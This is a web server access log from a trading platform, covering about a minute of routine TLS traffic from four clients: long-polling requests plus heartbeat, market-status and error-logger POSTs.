[09/Jan/2026:12:02:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:02:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931615284 HTTP/1.1" -
[09/Jan/2026:12:02:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931618016 HTTP/1.1" -
[09/Jan/2026:12:02:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931618326 HTTP/1.1" -
[09/Jan/2026:12:02:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931618328 HTTP/1.1" -
[09/Jan/2026:12:02:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931619102 HTTP/1.1" -
[09/Jan/2026:12:02:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931621332 HTTP/1.1" -
[09/Jan/2026:12:02:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931620323 HTTP/1.1" -
[09/Jan/2026:12:02:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931623053 HTTP/1.1" -
[09/Jan/2026:12:02:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931624145 HTTP/1.1" -
[09/Jan/2026:12:02:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931624326 HTTP/1.1" -
[09/Jan/2026:12:02:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931624327 HTTP/1.1" -
[09/Jan/2026:12:02:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931625390 HTTP/1.1" -
[09/Jan/2026:12:02:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931627326 HTTP/1.1" -
[09/Jan/2026:12:02:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931628076 HTTP/1.1" -
[09/Jan/2026:12:02:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931629210 HTTP/1.1" -
[09/Jan/2026:12:02:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931630327 HTTP/1.1" -
[09/Jan/2026:12:02:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931630328 HTTP/1.1" -
[09/Jan/2026:12:02:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931630462 HTTP/1.1" -
[09/Jan/2026:12:02:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931633098 HTTP/1.1" -
[09/Jan/2026:12:02:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931633326 HTTP/1.1" -
[09/Jan/2026:12:02:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931634333 HTTP/1.1" -
[09/Jan/2026:12:02:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931636328 HTTP/1.1" -
[09/Jan/2026:12:02:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931636327 HTTP/1.1" -
[09/Jan/2026:12:02:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931635534 HTTP/1.1" -
[09/Jan/2026:12:02:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:02:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:02:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:02:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:02:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931638152 HTTP/1.1" -
[09/Jan/2026:12:02:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931639329 HTTP/1.1" -
[09/Jan/2026:12:02:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931639518 HTTP/1.1" -
[09/Jan/2026:12:02:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:02:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:02:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:02:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:02:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:02:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:02:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931640621 HTTP/1.1" -
[09/Jan/2026:12:02:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931642335 HTTP/1.1" -
[09/Jan/2026:12:02:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931642335 HTTP/1.1" -
[09/Jan/2026:12:02:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931643181 HTTP/1.1" -
[09/Jan/2026:12:02:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:02:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:02:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931644703 HTTP/1.1" -
[09/Jan/2026:12:02:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931645329 HTTP/1.1" -
[09/Jan/2026:12:02:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:02:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:02:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:02:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:02:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931645643 HTTP/1.1" -
[09/Jan/2026:12:02:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931648231 HTTP/1.1" -
[09/Jan/2026:12:02:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931648325 HTTP/1.1" -
[09/Jan/2026:12:02:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931648326 HTTP/1.1" -
[09/Jan/2026:12:03:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931649831 HTTP/1.1" -
[09/Jan/2026:12:03:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931651334 HTTP/1.1" -
[09/Jan/2026:12:03:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931650669 HTTP/1.1" -
[09/Jan/2026:12:03:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931653263 HTTP/1.1" -
[09/Jan/2026:12:03:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931654331 HTTP/1.1" -
[09/Jan/2026:12:03:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931654331 HTTP/1.1" -
[09/Jan/2026:12:03:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931654929 HTTP/1.1" -
[09/Jan/2026:12:03:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931655752 HTTP/1.1" -
[09/Jan/2026:12:03:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931657330 HTTP/1.1" -
[09/Jan/2026:12:03:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931658318 HTTP/1.1" -
[09/Jan/2026:12:03:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931660093 HTTP/1.1" -
[09/Jan/2026:12:03:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931660332 HTTP/1.1" -
[09/Jan/2026:12:03:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931660332 HTTP/1.1" -
[09/Jan/2026:12:03:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931660787 HTTP/1.1" -
[09/Jan/2026:12:03:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931663357 HTTP/1.1" -
[09/Jan/2026:12:03:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931663326 HTTP/1.1" -
[09/Jan/2026:12:03:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931665294 HTTP/1.1" -
[09/Jan/2026:12:03:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931666338 HTTP/1.1" -
[09/Jan/2026:12:03:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931666338 HTTP/1.1" -
[09/Jan/2026:12:03:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:03:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:03:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:03:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:03:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931665850 HTTP/1.1" -
[09/Jan/2026:12:03:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931668391 HTTP/1.1" -
[09/Jan/2026:12:03:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931669336 HTTP/1.1" -
[09/Jan/2026:12:03:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931670509 HTTP/1.1" -
[09/Jan/2026:12:03:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:03:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:03:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:03:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:03:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:03:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:03:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931670919 HTTP/1.1" -
